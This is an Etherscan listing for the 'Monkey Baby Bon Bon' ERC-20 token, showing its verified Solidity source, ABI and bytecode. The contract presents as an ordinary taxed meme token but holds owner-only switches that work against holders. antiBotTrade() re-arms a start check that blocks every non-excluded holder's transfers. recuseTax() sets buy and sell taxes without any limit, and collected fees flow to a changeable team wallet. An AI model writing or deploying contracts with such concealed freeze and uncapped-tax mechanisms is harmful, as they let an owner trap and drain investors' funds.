ETH Price: $3,526.83 (+6.96%)

Token

Monkey Baby Bon Bon (BonBon)
 

Overview

Max Total Supply

42,690,000,000,000 BonBon

Holders

130

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
382,429,016,147.016967015 BonBon

Value
$0.00
0x16c9a382850a24d0693fabab76474096ae5662db
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-27
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Token is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address payable public mkt;
    address payable private team;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    mapping(address => bool) public _isExcludeFromFee;
    uint256 private _totalSupply;
    IUniswapRouter public _uniswapRouter;
    mapping(address => bool) public isMarketPair;
    bool private inSwap;
    uint256 private constant MAX = ~uint256(0);
    address public _uniswapPair;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor (){

        _name = "Monkey Baby Bon Bon";
        _symbol = "BonBon";

        _decimals = 9;
        uint256 Supply = 42690000000000;

        _totalSupply = Supply * 10 ** _decimals;
        swapAtAmount = _totalSupply / 20000;

        address receiveAddr = msg.sender;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        mkt = payable(receiveAddr);
        team = payable(receiveAddr);

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[mkt] = true;
        _isExcludeFromFee[team] = true;

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH());

        isMarketPair[_uniswapPair] = true;
        IERC20(_uniswapRouter.WETH()).approve(
            address(address(_uniswapRouter)),
            ~uint256(0)
        );
        _isExcludeFromFee[address(swapRouter)] = true;

    }

    function setMKT(
        address payable newMKT,
        address payable newTeam
    ) public onlyOwner{
        mkt = newMKT;
        team = newTeam;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    uint256 public _buyCount=0;
    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _finalBuyTax=30;
    uint256 private _finalSellTax=30;
    uint256 private _reduceBuyTaxAt=29;
    uint256 private _reduceSellTaxAt=29;
    uint256 private _preventSwapBefore=40;

    function recuseTax(
        uint256 newBuy,
        uint256 newSell,
        uint256 newReduceBuy,
        uint256 newReduceSell,
        uint256 newPreventSwapBefore
    ) public onlyOwner {
        _finalBuyTax = newBuy;
        _finalSellTax = newSell;
        _reduceBuyTaxAt = newReduceBuy;
        _reduceSellTaxAt = newReduceSell;
        _preventSwapBefore = newPreventSwapBefore;
    }

    uint256 swapAtAmount;
    function setSwapAtAmount(
        uint256 newValue
    ) public onlyOwner{
        swapAtAmount = newValue;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (inSwap){
            _basicTransfer(from, to, amount);
            return;
        }

        bool takeFee;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && _buyCount > _preventSwapBefore) {
            uint256 _numSellToken = amount;
            if (_numSellToken > balanceOf(address(this))){
                _numSellToken = _balances[address(this)];
            }
            if (_numSellToken > swapAtAmount){
                swapTokenForETH(_numSellToken);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(startTradeBlock > 0);
            takeFee = true;
            
            // buyCount
            if (isMarketPair[from] && to != address(_uniswapRouter) && !_isExcludeFromFee[to]) {
                _buyCount++;
            }

        }

        _transferToken(from, to, amount, takeFee);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;
            if (isMarketPair[recipient]) {
                taxFee = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax;
            } else if (isMarketPair[sender]) {
                taxFee = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }


    uint256 public startTradeBlock;
    function startTrade() public onlyOwner {
        require(startTradeBlock == 0, "already start");
        startTradeBlock = block.number;
    }

    function antiBotTrade() public onlyOwner{
        startTradeBlock = 0;
    }

    function removeERC20(address _token) external {
        require(msg.sender == mkt);
        IERC20(_token).transfer(mkt, IERC20(_token).balanceOf(address(this)));
        mkt.transfer(address(this).balance);
    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 _bal = address(this).balance;
        if (_bal > 0.01 ether){
            // mkt.transfer(_bal/10);
            team.transfer(address(this).balance);
        }
    }

    function setMarketingFreeTrade(address account, bool value) public onlyOwner{
        _isExcludeFromFee[account] = value;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antiBotTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMKT","type":"address"},{"internalType":"address payable","name":"newTeam","type":"address"}],"name":"setMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setMarketingFreeTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setSwapAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600d556002600e556002600f55601e601055601e601155601d601255601d601355602860145534801562000037575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152601381527f4d6f6e6b6579204261627920426f6e20426f6e000000000000000000000000006020820152600590620000bb90826200055c565b50604080518082019091526006808252652137b72137b760d11b602083015290620000e790826200055c565b506007805460ff191660099081179091556526d38a491400906200010d90600a62000733565b6200011990826200074a565b60098190556200012d90614e209062000764565b601555600954335f81815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b03199081166001600160a01b03848116918217845560048054841683178155305f818152600860209081526040808320805460ff1990811660019081179092559784528184208054891682179055985486168352808320805488168a179055845490951682528482208054909616909717909455600a8054737a250d5630b4cf539739df2c5dacb4c659f2488d96168617905583526002855281832084845285528183205f199055815163c45a015560e01b8152915193949293859363c45a01559380840193919291908290030181865afa15801562000267573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200028d919062000784565b9050806001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002dc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000302919062000784565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200034d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000373919062000784565b600c8054610100600160a81b0319166101006001600160a01b0393841681029190911791829055900481165f908152600b6020908152604091829020805460ff19166001179055600a5482516315ab88c960e31b8152925193169263ad5c46489260048082019392918290030181865afa158015620003f4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200041a919062000784565b600a5460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af11580156200046a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004909190620007ac565b50506001600160a01b03165f908152600860205260409020805460ff1916600117905550620007cd9050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620004e557607f821691505b6020821081036200050457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000557575f81815260208120601f850160051c81016020861015620005325750805b601f850160051c820191505b8181101562000553578281556001016200053e565b5050505b505050565b81516001600160401b03811115620005785762000578620004bc565b6200059081620005898454620004d0565b846200050a565b602080601f831160018114620005c6575f8415620005ae5750858301515b5f19600386901b1c1916600185901b17855562000553565b5f85815260208120601f198616915b82811015620005f657888601518255948401946001909101908401620005d5565b50858210156200061457878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200067857815f19048211156200065c576200065c62000624565b808516156200066a57918102915b93841c93908002906200063d565b509250929050565b5f8262000690575060016200072d565b816200069e57505f6200072d565b8160018114620006b75760028114620006c257620006e2565b60019150506200072d565b60ff841115620006d657620006d662000624565b50506001821b6200072d565b5060208310610133831016604e8410600b841016171562000707575081810a6200072d565b62000713838362000638565b805f190482111562000729576200072962000624565b0290505b92915050565b5f6200074360ff84168362000680565b9392505050565b80820281158282048414176200072d576200072d62000624565b5f826200077f57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000795575f80fd5b81516001600160a01b038116811462000743575f80fd5b5f60208284031215620007bd575f80fd5b8151801515811462000743575f80fd5b6114c880620007db5f395ff3fe60806040526004361061017e575f3560e01c806365b61b77116100cd57806395d89b4111610087578063a9059cbb11610062578063a9059cbb1461045e578063d242fbcc1461047d578063dd62ed3e1461049c578063f2fde38b146104e0575f80fd5b806395d89b411461040c578063a266e55e14610420578063a67755c21461043f575f80fd5b806365b61b77146103565780636c5808011461037557806370a0823114610389578063715018a6146103bd5780637cc5b1e6146103d15780638da5cb5b146103f0575f80fd5b8063313ce567116101385780633f80b6d7116101135780633f80b6d7146102c75780634bf28fd0146102e6578063553193ca146103225780636402511e14610337575f80fd5b8063313ce5671461024a57806336b2e0271461026b5780633ecad27114610299575f80fd5b806306fdde0314610189578063095ea7b3146101b35780630c062020146101e257806318160ddd146101f857806323b872dd1461021657806327b1a8e914610235575f80fd5b3661018557005b5f80fd5b348015610194575f80fd5b5061019d6104ff565b6040516101aa919061112d565b60405180910390f35b3480156101be575f80fd5b506101d26101cd36600461118f565b61058f565b60405190151581526020016101aa565b3480156101ed575f80fd5b506101f66105a5565b005b348015610203575f80fd5b506009545b6040519081526020016101aa565b348015610221575f80fd5b506101d26102303660046111b9565b6105dd565b348015610240575f80fd5b50610208600d5481565b348015610255575f80fd5b5060075460405160ff90911681526020016101aa565b348015610276575f80fd5b506101d26102853660046111f7565b60086020525f908152604090205460ff1681565b3480156102a4575f80fd5b506101d26102b33660046111f7565b600b6020525f908152604090205460ff1681565b3480156102d2575f80fd5b506101f66102e1366004611219565b61066f565b3480156102f1575f80fd5b50600c5461030a9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101aa565b34801561032d575f80fd5b5061020860165481565b348015610342575f80fd5b506101f6610351366004611250565b6106af565b348015610361575f80fd5b50600a5461030a906001600160a01b031681565b348015610380575f80fd5b506101f66106dd565b348015610394575f80fd5b506102086103a33660046111f7565b6001600160a01b03165f9081526001602052604090205490565b3480156103c8575f80fd5b506101f661074c565b3480156103dc575f80fd5b5060035461030a906001600160a01b031681565b3480156103fb575f80fd5b505f546001600160a01b031661030a565b348015610417575f80fd5b5061019d6107bd565b34801561042b575f80fd5b506101f661043a366004611274565b6107cc565b34801561044a575f80fd5b506101f66104593660046111f7565b61081f565b348015610469575f80fd5b506101d261047836600461118f565b610951565b348015610488575f80fd5b506101f66104973660046112ab565b61095d565b3480156104a7575f80fd5b506102086104b63660046112ab565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104eb575f80fd5b506101f66104fa3660046111f7565b6109b4565b60606005805461050e906112d7565b80601f016020809104026020016040519081016040528092919081815260200182805461053a906112d7565b80156105855780601f1061055c57610100808354040283529160200191610585565b820191905f5260205f20905b81548152906001019060200180831161056857829003601f168201915b5050505050905090565b5f61059b338484610a77565b5060015b92915050565b5f546001600160a01b031633146105d75760405162461bcd60e51b81526004016105ce9061130f565b60405180910390fd5b5f601655565b5f6105e9848484610ad7565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f1914610665576001600160a01b0384165f90815260026020908152604080832033845290915290205461064190839061134e565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146106985760405162461bcd60e51b81526004016105ce9061130f565b601094909455601192909255601255601355601455565b5f546001600160a01b031633146106d85760405162461bcd60e51b81526004016105ce9061130f565b601555565b5f546001600160a01b031633146107065760405162461bcd60e51b81526004016105ce9061130f565b601654156107465760405162461bcd60e51b815260206004820152600d60248201526c185b1c9958591e481cdd185c9d609a1b60448201526064016105ce565b43601655565b5f546001600160a01b031633146107755760405162461bcd60e51b81526004016105ce9061130f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606006805461050e906112d7565b5f546001600160a01b031633146107f55760405162461bcd60e51b81526004016105ce9061130f565b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b6003546001600160a01b03163314610835575f80fd5b6003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610886573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108aa9190611361565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af11580156108f2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109169190611378565b506003546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561094d573d5f803e3d5ffd5b5050565b5f61059b338484610ad7565b5f546001600160a01b031633146109865760405162461bcd60e51b81526004016105ce9061130f565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b5f546001600160a01b031633146109dd5760405162461bcd60e51b81526004016105ce9061130f565b6001600160a01b038116610a1e5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016105ce565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526001602052604090205481811015610b325760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016105ce565b600c5460ff1615610b4f57610b48848484610cf7565b5050505050565b6001600160a01b0383165f908152600b602052604081205460ff168015610b795750600c5460ff16155b8015610b9d57506001600160a01b0385165f9081526008602052604090205460ff16155b8015610bc157506001600160a01b0384165f9081526008602052604090205460ff16155b8015610bd05750601454600d54115b15610c1357305f908152600160205260409020548390811115610bfe5750305f908152600160205260409020545b601554811115610c1157610c1181610daa565b505b6001600160a01b0385165f9081526008602052604090205460ff16158015610c5357506001600160a01b0384165f9081526008602052604090205460ff16155b8015610c625750600c5460ff16155b15610ceb575f60165411610c74575f80fd5b506001600160a01b0384165f908152600b602052604090205460019060ff168015610cad5750600a546001600160a01b03858116911614155b8015610cd157506001600160a01b0384165f9081526008602052604090205460ff16155b15610ceb57600d8054905f610ce583611393565b91905055505b610b4885858584610f42565b6001600160a01b0383165f90815260016020526040812080548391908390610d2090849061134e565b90915550506001600160a01b0383165f9081526001602052604081208054849290610d4c9084906113ab565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d9891815260200190565b60405180910390a35060019392505050565b600c805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610dea57610dea6113be565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e41573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e6591906113d2565b81600181518110610e7857610e786113be565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac94790610ebd9085905f908690309042906004016113ed565b5f604051808303815f87803b158015610ed4575f80fd5b505af1158015610ee6573d5f803e3d5ffd5b504792505050662386f26fc10000811115610f33576004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610f31573d5f803e3d5ffd5b505b5050600c805460ff1916905550565b6001600160a01b0384165f90815260016020526040902054610f6590839061134e565b6001600160a01b0385165f9081526001602052604081209190915581156110a0576001600160a01b0384165f908152600b602052604081205460ff1615610fc457601354600d5411610fb957600f54610fbd565b6011545b9050610ffe565b6001600160a01b0386165f908152600b602052604090205460ff1615610ffe57601254600d5411610ff757600e54610ffb565b6010545b90505b5f606461100b838761145c565b6110159190611473565b9050801561109d5761102781846113ab565b305f908152600160205260409020549093506110449082906113ab565b305f81815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110949085815260200190565b60405180910390a35b50505b6110aa818461134e565b6001600160a01b0385165f908152600160205260409020546110cc91906113ab565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611115848761134e565b60405190815260200160405180910390a35050505050565b5f6020808352835180828501525f5b818110156111585785810183015185820160400152820161113c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461118c575f80fd5b50565b5f80604083850312156111a0575f80fd5b82356111ab81611178565b946020939093013593505050565b5f805f606084860312156111cb575f80fd5b83356111d681611178565b925060208401356111e681611178565b929592945050506040919091013590565b5f60208284031215611207575f80fd5b813561121281611178565b9392505050565b5f805f805f60a0868803121561122d575f80fd5b505083359560208501359550604085013594606081013594506080013592509050565b5f60208284031215611260575f80fd5b5035919050565b801515811461118c575f80fd5b5f8060408385031215611285575f80fd5b823561129081611178565b915060208301356112a081611267565b809150509250929050565b5f80604083850312156112bc575f80fd5b82356112c781611178565b915060208301356112a081611178565b600181811c908216806112eb57607f821691505b60208210810361130957634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561059f5761059f61133a565b5f60208284031215611371575f80fd5b5051919050565b5f60208284031215611388575f80fd5b815161121281611267565b5f600182016113a4576113a461133a565b5060010190565b8082018082111561059f5761059f61133a565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113e2575f80fd5b815161121281611178565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561143b5784516001600160a01b031683529383019391830191600101611416565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761059f5761059f61133a565b5f8261148d57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220fc0050041808a7b1f38616775ee759d2a4a2b916b8f34cf1b4f7c379082ef12964736f6c63430008140033

Deployed Bytecode

0x60806040526004361061017e575f3560e01c806365b61b77116100cd57806395d89b4111610087578063a9059cbb11610062578063a9059cbb1461045e578063d242fbcc1461047d578063dd62ed3e1461049c578063f2fde38b146104e0575f80fd5b806395d89b411461040c578063a266e55e14610420578063a67755c21461043f575f80fd5b806365b61b77146103565780636c5808011461037557806370a0823114610389578063715018a6146103bd5780637cc5b1e6146103d15780638da5cb5b146103f0575f80fd5b8063313ce567116101385780633f80b6d7116101135780633f80b6d7146102c75780634bf28fd0146102e6578063553193ca146103225780636402511e14610337575f80fd5b8063313ce5671461024a57806336b2e0271461026b5780633ecad27114610299575f80fd5b806306fdde0314610189578063095ea7b3146101b35780630c062020146101e257806318160ddd146101f857806323b872dd1461021657806327b1a8e914610235575f80fd5b3661018557005b5f80fd5b348015610194575f80fd5b5061019d6104ff565b6040516101aa919061112d565b60405180910390f35b3480156101be575f80fd5b506101d26101cd36600461118f565b61058f565b60405190151581526020016101aa565b3480156101ed575f80fd5b506101f66105a5565b005b348015610203575f80fd5b506009545b6040519081526020016101aa565b348015610221575f80fd5b506101d26102303660046111b9565b6105dd565b348015610240575f80fd5b50610208600d5481565b348015610255575f80fd5b5060075460405160ff90911681526020016101aa565b348015610276575f80fd5b506101d26102853660046111f7565b60086020525f908152604090205460ff1681565b3480156102a4575f80fd5b506101d26102b33660046111f7565b600b6020525f908152604090205460ff1681565b3480156102d2575f80fd5b506101f66102e1366004611219565b61066f565b3480156102f1575f80fd5b50600c5461030a9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101aa565b34801561032d575f80fd5b5061020860165481565b348015610342575f80fd5b506101f6610351366004611250565b6106af565b348015610361575f80fd5b50600a5461030a906001600160a01b031681565b348015610380575f80fd5b506101f66106dd565b348015610394575f80fd5b506102086103a33660046111f7565b6001600160a01b03165f9081526001602052604090205490565b3480156103c8575f80fd5b506101f661074c565b3480156103dc575f80fd5b5060035461030a906001600160a01b031681565b3480156103fb575f80fd5b505f546001600160a01b031661030a565b348015610417575f80fd5b5061019d6107bd565b34801561042b575f80fd5b506101f661043a366004611274565b6107cc565b34801561044a575f80fd5b506101f66104593660046111f7565b61081f565b348015610469575f80fd5b506101d261047836600461118f565b610951565b348015610488575f80fd5b506101f66104973660046112ab565b61095d565b3480156104a7575f80fd5b506102086104b63660046112ab565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104eb575f80fd5b506101f66104fa3660046111f7565b6109b4565b60606005805461050e906112d7565b80601f016020809104026020016040519081016040528092919081815260200182805461053a906112d7565b80156105855780601f1061055c57610100808354040283529160200191610585565b820191905f5260205f20905b81548152906001019060200180831161056857829003601f168201915b5050505050905090565b5f61059b338484610a77565b5060015b92915050565b